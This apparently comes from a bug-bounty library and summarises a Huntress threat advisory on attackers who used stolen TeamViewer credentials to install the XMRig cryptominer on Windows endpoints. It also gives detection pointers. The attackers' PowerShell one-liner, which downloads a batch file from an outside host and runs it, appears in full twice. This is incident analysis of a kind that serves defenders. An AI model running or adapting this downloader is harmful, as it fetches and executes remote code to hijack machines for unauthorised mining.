# Threat Advisory: XMRig Cryptomining By Way Of TeamViewer

Attackers used compromised TeamViewer credentials to remotely access endpoints, then pasted PowerShell via clipboard to download a batch file and install the XMRig cryptocurrency miner.

- Payout: Real-world hack
- Severity: high
- Program: TeamViewer
- Analysis by: Huntress
- Disclosed: 2023-05-30
- Write-up quality: 6/10
- Original: https://www.huntress.com/blog/threat-advisory-xmrig-crypto-mining-by-way-of-teamviewer
- Library page: https://bugbountylibrary.com/r/blog%3Ahuntress-com-blog-threat-advisory-xmrig-crypto-mining-by-way-of-teamviewer
- Tags: area:os domain:desktop impact:integrity impact:internal-access kind:incident platform:threat-intel sev:high tech:payment tech:windows technique:source-review vuln:auth-bypass

**Target:** Remote endpoints running TeamViewer on Windows
**Root cause:** TeamViewer credentials for endpoints were compromised, allowing threat actors to establish incoming remote sessions; the actors then used the clipboard (clip.exe) to paste PowerShell commands that downloaded and executed a batch file installing XMRig.
**Steps:**
1. Attacker connects to endpoint via TeamViewer using compromised credentials (visible in connections_incoming.txt from DESKTOP-xxxxxxx hosts).
2. Attacker copies a PowerShell command to clipboard and pastes it into a shell on the endpoint (clip.exe observed alongside TeamViewer_Desktop.exe).
3. Command runs: `powershell -Command $wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName() + '.bat'; $wc.DownloadFile('hXXp://c3poolbat.oss-accelerate.aliyuncs[.]com/autoc3pool.bat', $tempfile); & $tempfile ; Remove-Item $tempfile`
4. Batch file executes with a wallet address argument, spawning further PowerShell scripts (logged as Event ID 600 in PowerShell.evtx).
5. XMRig miner is dropped and a Windows service is created for persistence.
**How found:** SOC alert on a suspicious Windows service led analysts to the XMRig config and wallet; pivoting on EDR telemetry and PowerShell.evtx Event ID 600 records, they reconstructed the script timeline and correlated it with TeamViewer connections_incoming.txt to identify initial access.
**Exploitation:** Compromised TeamViewer credentials gave interactive remote access; the actor pasted a PowerShell downloader via clipboard, fetched autoc3pool.bat from an Aliyun OSS bucket, ran it with a Monero wallet address, and persisted XMRig as a Windows service to mine cryptocurrency across dozens of endpoints.
**Insight:** TeamViewer's connections_incoming.txt logs source hostnames and session times; correlating it with PowerShell Event ID 600 and clip.exe process events exposes clipboard-pasted RMM intrusions that leave no file-transfer traces.

## Proof of concept (copied exactly from the original report)

**PowerShell one-liner downloading and running batch file**

```
powershell -Command $wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName() + '.bat'; $wc.DownloadFile('hXXp://c3poolbat.oss-accelerate.aliyuncs[.]com/autoc3pool.bat', $tempfile); & $tempfile ; Remove-Item $tempfile
```